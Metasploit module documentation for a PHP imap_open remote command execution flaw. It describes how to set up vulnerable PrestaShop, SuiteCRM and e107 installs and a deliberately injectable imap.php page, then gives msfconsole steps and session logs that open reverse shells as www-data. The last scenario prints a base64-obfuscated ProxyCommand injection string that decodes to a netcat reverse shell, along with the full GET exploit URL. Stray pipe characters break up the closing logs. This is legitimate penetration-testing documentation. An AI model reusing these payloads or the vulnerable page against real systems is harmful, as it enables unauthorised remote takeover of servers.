401 lines
14 KiB
Markdown
401 lines
14 KiB
Markdown
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## Vulnerable Application
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The [imap_open](http://php.net/manual/en/function.imap-open.php) function within php,
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if called without the `/norsh` flag, will attempt to preauthenticate an IMAP session.
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On Debian based systems, including Ubuntu, `rsh` is mapped to the ssh binary. Ssh's
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`ProxyCommand` option can be passed from `imap_open` to execute arbitrary commands.
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While many custom applications may use `imap_open`, it is reported that the following
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applications are vulnerable:
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* [prestashop](https://github.com/PrestaShop/PrestaShop/blob/0d53d6b58b951ac364ad44671cf1ae9bf7ab6aed/controllers/admin/AdminCustomerThreadsController.php#L1010)
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* [SuiteCRM](https://github.com/salesagility/SuiteCRM/blob/153b2bae76097cdba9fc9c025bcd829a702b8687/modules/InboundEmail/EditView.php#L260)
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* [e107 v2](https://github.com/e107inc/e107/blob/7570b7ce4e17c03e9759c90889db8e750d566e53/e107_handlers/pop_bounce_handler.php#L83)
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Prestashop exploitation requires the admin URI, and administrator credentials.
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SuiteCRM exploitation requires administrator credentials.
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e107 v2 exploitation requires administrator credentials.
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Additional applications were reported vulnerable, but exploits were not written. See [#10987](https://github.com/rapid7/metasploit-framework/pull/10987) for additional details.
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### Prestashop 1.7.2.4 on Ubuntu 16.04
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Mostly derived from [websiteforstudents.com](https://websiteforstudents.com/install-prestashop-on-ubuntu-17-04-17-10-with-apache2-mariadb-and-php/),
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with a few tweeks for Ubuntu 16.04, and to install PHP's imap mod.
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```
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sudo apt install apache2
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sudo sed -i "s/Options Indexes FollowSymLinks/Options FollowSymLinks/" /etc/apache2/apache2.conf
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sudo systemctl stop apache2.service
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sudo systemctl start apache2.service
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sudo systemctl enable apache2.service
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sudo apt-get install mariadb-server mariadb-client
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sudo systemctl stop mysql.service
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sudo systemctl start mysql.service
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sudo systemctl enable mysql.service
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sudo mysql_secure_installation
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sudo systemctl restart mysql.service
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sudo apt install php libapache2-mod-php php-common php-mbstring php-xmlrpc php-soap php-gd php-xml php-intl php-mysql php-cli php-mcrypt php-ldap php-zip php-curl php-imap
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sudo phpenmod imap
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sudo mysql -u root -p
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```
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Run the following database commands:
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```
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CREATE DATABASE prestashop;
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CREATE USER 'prestashopuser'@'localhost' IDENTIFIED BY 'new_password_here';
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GRANT ALL ON prestashop.* TO 'prestashopuser'@'localhost' IDENTIFIED BY 'user_password_here' WITH GRANT OPTION;
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FLUSH PRIVILEGES;
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EXIT;
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```
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```
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cd /tmp && curl -O https://download.prestashop.com/download/releases/prestashop_1.7.2.4.zip
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unzip prestashop_1.7.2.4.zip
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sudo mkdir -p /var/www/html/prestashop
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sudo unzip prestashop.zip -d /var/www/html/prestashop/
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sudo chown -R www-data:www-data /var/www/html/prestashop/
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sudo chmod -R 755 /var/www/html/prestashop/
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sudo nano /etc/apache2/sites-available/prestashop.conf
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```
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Utilize the following configuration:
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```
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<VirtualHost *:80>
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ServerAdmin admin@example.com
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DocumentRoot /var/www/html/prestashop/
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ServerName example.com
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ServerAlias www.example.com
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<Directory /var/www/html/prestashop/>
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Options +FollowSymlinks
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AllowOverride All
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Require all granted
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</Directory>
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ErrorLog ${APACHE_LOG_DIR}/error.log
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CustomLog ${APACHE_LOG_DIR}/access.log combined
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</VirtualHost>
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```
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```
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sudo a2ensite prestashop.conf
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sudo a2enmod rewrite
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sudo a2dissite 000-default
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sudo systemctl restart apache2.service
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```
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Browse to the website, and install with default information.
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```
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sudo rm -rf /var/www/html/prestashop/install/
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```
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Now browse to `/admin`, and the first time you'll be redirected to the admin URI. If not, `sudo ls /var/www/html/prestashop/admin*`.
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### SuiteCRM 7.8.23 on Ubuntu 16.04
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Mostly derived from [vultr.com](https://www.vultr.com/docs/how-to-install-suitecrm-on-ubuntu-16-04) but adding php's zip and mbstring packages.
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```
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sudo apt-get install apache2 mariadb-server php7.0 php7.0-mysql php7.0-gd php7.0-curl php7.0-imap libapache2-mod-php7.0 php7.0-mcrypt php7.0-xml php7.0-json php7.0-mbstring php7.0-zip -y
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sudo systemctl restart apache2
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sudo phpenmod imap
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sudo mysql_secure_installation
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```
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```
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wget https://suitecrm.com/files/156/SuiteCRM-7.8/322/SuiteCRM-7.8.23.zip
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unzip SuiteCRM-7.8.23.zip
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sudo mv SuiteCRM-7.8.23 /var/www/html/suitecrm
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sudo chown -R www-data:www-data /var/www/html/suitecrm
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sudo chmod -R 777 /var/www/html/suitecrm
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sudo nano /etc/apache2/sites-available/suitecrm.conf
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```
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Utilize the following configuration:
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```
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<VirtualHost *:80>
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ServerAdmin admin@yourdomain.com
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DocumentRoot /var/www/html/suitecrm/
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ServerName yourdomain.com
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ServerAlias www.yourdomain.com
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<Directory /var/www/html/suitecrm/>
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Options FollowSymLinks
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AllowOverride All
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</Directory>
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ErrorLog /var/log/apache2/suitecrm-error_log
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CustomLog /var/log/apache2/suitecrm-access_log common
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</VirtualHost>
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```
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```
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sudo a2ensite suitecrm
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sudo a2dissite 000-default.conf
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sudo systemctl restart apache2
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sudo systemctl restart mysql
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```
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### e107 2.1.9 on Ubuntu 16.04
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Mostly derived from [websiteforstudents.com](https://websiteforstudents.com/install-e107-cms-on-ubuntu-16-04-18-04-18-10-with-apache2-mariadb-and-php-7-2/),
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however with php 7.0 instead of 7.2.
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```
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sudo apt install apache2 mariadb-server mariadb-client php7.0 libapache2-mod-php7.0 php7.0-common php7.0-mysql php7.0-gmp php7.0-curl php7.0-intl php7.0-mbstring php7.0-xmlrpc php7.0-gd php7.0-bcmath php7.0-xml php7.0-cli php7.0-zip php7.0-imap -y
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sudo systemctl restart apache2.service
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sudo systemctl stop mysql.service
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sudo systemctl start mysql.service
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sudo systemctl enable mysql.service
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sudo mysql_secure_installation
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sudo mysql -u root -p
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```
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Run the following database commands:
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```
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CREATE DATABASE e107;
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CREATE USER 'e107user'@'localhost' IDENTIFIED BY 'new_password_here';
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GRANT ALL ON e107.* TO 'e107user'@'localhost' IDENTIFIED BY 'new_password_here' WITH GRANT OPTION;
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FLUSH PRIVILEGES;
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EXIT;
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```
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```
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cd /tmp
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wget http://sourceforge.net/projects/e107/files/e107/e107%20v2.1.9/e107_2.1.9_full.zip
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sudo unzip -d /var/www/html/e107 /tmp/e107_2.1.9_full.zip
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sudo chown -R www-data:www-data /var/www/html/e107/
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sudo chmod -R 755 /var/www/html/e107/
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sudo nano /etc/apache2/sites-available/e107.conf
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```
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Utilize the following configuration:
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```
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<VirtualHost *:80>
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ServerAdmin admin@example.com
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DocumentRoot /var/www/html/e107
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ServerName example.com
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ServerAlias www.example.com
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<Directory /var/www/html/e107/>
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Options FollowSymlinks
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AllowOverride All
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Require all granted
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</Directory>
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ErrorLog ${APACHE_LOG_DIR}/error.log
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CustomLog ${APACHE_LOG_DIR}/access.log combined
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<Directory /var/www/html/e107/>
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RewriteEngine on
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RewriteBase /
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RewriteCond %{REQUEST_FILENAME} !-f
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RewriteRule ^(.*) index.php [PT,L]
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</Directory>
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</VirtualHost>
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```
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```
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sudo a2ensite e107.conf
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sudo a2enmod rewrite
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sudo a2dissite 000-default
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sudo systemctl restart apache2.service
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sudo systemctl restart mysql.server
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sudo systemctl restart mysql.service
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```
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### Custom Page on Ubuntu 16.04
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Make sure `php-imap` is installed and enabled. Create `imap.php` with the following content.
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```
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<html>
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<body>
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<p>imap_open example exploitation page. Use URL parameter 'server'. Ex http://1.1.1.1/imap.php?server=EXPLOITHERE</p>
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<?php
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$server = htmlspecialchars($_GET["server"]);
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$mbox = @imap_open("{".$server.":143}INBOX",'username','password');
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echo '<p>Received: '.$server.'</p>';
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$errors = imap_errors();
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if (is_array($errors)) {
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$errors = array_unique($errors);
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}
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if (count($errors) && is_array($errors)) {
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$str_errors = '';
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foreach ($errors as $error) {
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$str_errors .= $error . ', ';
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}
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$str_errors = rtrim(trim($str_errors), ',');
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}
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if (!$mbox) {
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echo '<p>Errors: ' . ($str_errors);
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}
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?>
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</body>
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</html>
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```
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## Verification Steps
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1. Install a vulnerable application
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2. Start msfconsole
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3. Do: ```use exploit/linux/http/php_imap_open_rce```
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4. Do: ```set TARGETURI [URI]```
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5. Do: ```set USERNAME [username]```
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6. Do: ```set PASSWORD [password]```
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7. Do: ```set target [target]```
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8. Do: ```run```
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9. You should get a shell.
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## Options
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**TARGETURI**
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The URI for the target. This may change by target. Default is ` `.
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Prestashop should be the admin URI, similar to `/admin2769gx8k3`.
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## Scenarios
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### PrestaShop 1.7.2.4 on Ubuntu 16.04.4 with PHP 7.0
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```
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resource (presta.rb)> use exploit/linux/http/php_imap_open_rce
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resource (presta.rb)> set TARGETURI /admin2769gx8k3
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TARGETURI => /admin2769gx8k3
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resource (presta.rb)> set USERNAME ubuntu@none.com
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USERNAME => ubuntu@none.com
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resource (presta.rb)> set PASSWORD ubuntuubuntu
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PASSWORD => ubuntuubuntu
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resource (presta.rb)> set rhosts 1.1.1.1
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rhosts => 1.1.1.1
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resource (presta.rb)> set lhost 2.2.2.2
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lhost => 2.2.2.2
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resource (presta.rb)> set target 0
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target => 0
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resource (presta.rb)> set verbose true
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verbose => true
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resource (presta.rb)> exploit
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[*] Started reverse TCP handler on 2.2.2.2:4444
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[*] Redirected to http://1.1.1.1/admin2769gx8k3/
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[*] Redirected to http://1.1.1.1/admin2769gx8k3/index.php?controller=AdminLogin&token=6dab1f7b4eea17d2b44a8929ead9df68
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[*] Token: 6dab1f7b4eea17d2b44a8929ead9df68 and Login Redirect: http://1.1.1.1/admin2769gx8k3/&token=09283f9efc45fc75eca3b8d5f1b1f92f
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[*] Logging in with ubuntu@none.com:ubuntuubuntu
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[*] Login JSON Response: {"hasErrors":false,"redirect":"http:\/\/1.1.1.1\/admin2769gx8k3\/index.php?controller=AdminDashboard&token=e324e8b387afb1874947db9b1ba411c8"}
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[+] Login Success, loading admin dashboard to pull tokens
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[*] Customer Threads Token: ec653c8bfc09754fc63aaa94101911dc
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[+] Sending Payload with Final Token: ec653c8bfc09754fc63aaa94101911dc
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[*] IMAP server change left on server, manual revert required.
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[*] Command shell session 1 opened (2.2.2.2:4444 -> 1.1.1.1:41964) at 2018-11-20 18:29:28 -0500
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uname -a
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Linux ubuntu1604 4.4.0-138-generic #164-Ubuntu SMP Tue Oct 2 17:16:02 UTC 2018 x86_64 x86_64 x86_64 GNU/Linux
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id
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uid=33(www-data) gid=33(www-data) groups=33(www-data)
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```
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### SuiteCRM 7.8.23 on Ubuntu 16.04.4 with PHP 7.0
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```
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resource (suitecrm.rb)> use exploit/linux/http/php_imap_open_rce
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resource (suitecrm.rb)> set target 1
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target => 1
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resource (suitecrm.rb)> set TARGETURI /
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TARGETURI => /
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resource (suitecrm.rb)> set USERNAME admin
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USERNAME => admin
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resource (suitecrm.rb)> set PASSWORD admin
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PASSWORD => admin
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resource (suitecrm.rb)> set rhosts 1.1.1.1
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rhosts => 1.1.1.1
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resource (suitecrm.rb)> set lhost 2.2.2.2
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lhost => 2.2.2.2
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resource (suitecrm.rb)> set verbose true
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verbose => true
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resource (suitecrm.rb)> exploit
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[*] Started reverse TCP handler on 2.2.2.2:4444
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[*] Loading login page
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[*] Logging in as admin:admin
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[+] Login Success
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[*] Loading InboundEmail page
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[+] Sending payload with group_id f047031d-1697-3d0d-bd39-5bf499e5470a
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[*] IMAP server config left on server, manual removal required.
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[*] Command shell session 1 opened (2.2.2.2:4444 -> 1.1.1.1:32806) at 2018-11-20 18:31:40 -0500
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|
|
uname -a
|
||
|
|
Linux ubuntu1604 4.4.0-134-generic #160-Ubuntu SMP Wed Aug 15 14:58:00 UTC 2018 x86_64 x86_64 x86_64 GNU/Linux
|
||
|
|
id
|
||
|
|
uid=33(www-data) gid=33(www-data) groups=33(www-data)
|
||
|
|
```
|
||
|
|
|
||
|
|
### e107 2.1.9 on Ubuntu 16.04.4 with PHP 7.0
|
||
|
|
|
||
|
|
```
|
||
|
|
resource (e107.rb)> use exploit/linux/http/php_imap_open_rce
|
||
|
|
resource (e107.rb)> set target 2
|
||
|
|
target => 2
|
||
|
|
resource (e107.rb)> set TARGETURI /
|
||
|
|
TARGETURI => /
|
||
|
|
resource (e107.rb)> set USERNAME admin
|
||
|
|
USERNAME => admin
|
||
|
|
resource (e107.rb)> set PASSWORD admin
|
||
|
|
PASSWORD => admin
|
||
|
|
resource (e107.rb)> set rhosts 1.1.1.1
|
||
|
|
rhosts => 1.1.1.1
|
||
|
|
resource (e107.rb)> set lhost 2.2.2.2
|
||
|
|
lhost => 2.2.2.2
|
||
|
|
resource (e107.rb)> set verbose true
|
||
|
|
verbose => true
|
||
|
|
resource (e107.rb)> exploit
|
||
|
|
[*] Started reverse TCP handler on 2.2.2.2:4444
|
||
|
|
[*] Logging in as admin:admin
|
||
|
|
[+] Login Success
|
||
|
|
[*] Checking if Cron is enabled for triggering
|
||
|
|
[+] Storing payload in mail settings
|
||
|
|
[*] Loading cron page to execute job manually
|
||
|
|
[+] Triggering manual run of mail bounce check cron to execute payload with cron id 3 and etoken 3b6aa8ca02dbd2bf8218874606c5e2f1
|
||
|
|
[*] IMAP server config left on server, manual removal required.
|
||
|
|
[*] Command shell session 1 opened (2.2.2.2:4444 -> 1.1.1.1:50742) at 2018-11-23 20:01:13 -0500
|
||
|
|
|
||
|
|
uname -a
|
||
|
|
Linux ubuntu1604 4.4.0-134-generic #160-Ubuntu SMP Wed Aug 15 14:58:00 UTC 2018 x86_64 x86_64 x86_64 GNU/Linux
|
||
|
|
id
|
||
|
|
uid=33(www-data) gid=33(www-data) groups=33(www-data)
|
||
|
|
```
|
||
|
|
|
||
|
|
### Custom Page on Ubuntu 16.04
|
||
|
|
|
||
|
|
Using the `imap.php` page listed above.
|
||
|
|
|
||
|
|
```
|
||
|
|
msf5 > use exploit/linux/http/php_imap_open_rce
|
||
|
|
msf5 exploit(linux/http/php_imap_open_rce) > set target 3
|
||
|
|
target => 3
|
||
|
|
msf5 exploit(linux/http/php_imap_open_rce) > set lhost 1.1.1.1
|
||
|
|
lhost => 1.1.1.1
|
||
|
|
msf5 exploit(linux/http/php_imap_open_rce) > set rhost 2.2.2.2
|
||
|
|
rhost => 2.2.2.2
|
||
|
|
msf5 exploit(linux/http/php_imap_open_rce) > exploit
|
||
|
|
|
||
|
|
[*] Started reverse TCP handler on 1.1.1.1:4444
|
||
|
|
[*] Listener started for 300 seconds
|
||
|
|
[+] POST request connection string: x -oProxyCommand=`echo$IFS$()bWtmaWZvIC90bXAvaWVib3U7IG5jIDE5Mi4xNjguMi4xMTcgNDQ0NCAwPC90bXAvaWVib3UgfCAvYmluL3NoID4vdG1wL2llYm91IDI+JjE7IHJtIC90bXAvaWVib3U=|base64$IFS$()-d|bash`}
|
||
|
|
[+] GET request connection string: x%20-oProxyCommand=%60echo$IFS$()bWtmaWZvIC90bXAvaWVib3U7IG5jIDE5Mi4xNjguMi4xMTcgNDQ0NCAwPC90bXAvaWVib3UgfCAvYmluL3NoID4vdG1wL2llYm91IDI%2BJjE7IHJtIC90bXAvaWVib3U=%7Cbase64$IFS$()-d%7Cbash%60%7D
|
||
|
|
[*] Command shell session 1 opened (1.1.1.1:4444 -> 2.2.2.2:41124) at 2018-11-25 10:52:55 -0500
|
||
|
|
|
||
|
|
uname -a
|
||
|
|
Linux ubuntu1604 4.4.0-134-generic #160-Ubuntu SMP Wed Aug 15 14:58:00 UTC 2018 x86_64 x86_64 x86_64 GNU/Linux
|
||
|
|
id
|
||
|
|
uid=33(www-data) gid=33(www-data) groups=33(www-data)
|
||
|
|
```
|
||
|
|
|
||
|
|
The GET request was utilized, and the final URL utilized was: `http://2.2.2.2/imap.php?server=x%20-oProxyCommand=%60echo$IFS$()bWtmaWZvIC90bXAvaWVib3U7IG5jIDE5Mi4xNjguMi4xMTcgNDQ0NCAwPC90bXAvaWVib3UgfCAvYmluL3NoID4vdG1wL2llYm91IDI%2BJjE7IHJtIC90bXAvaWVib3U=%7Cbase64$IFS$()-d%7Cbash%60%7D`
|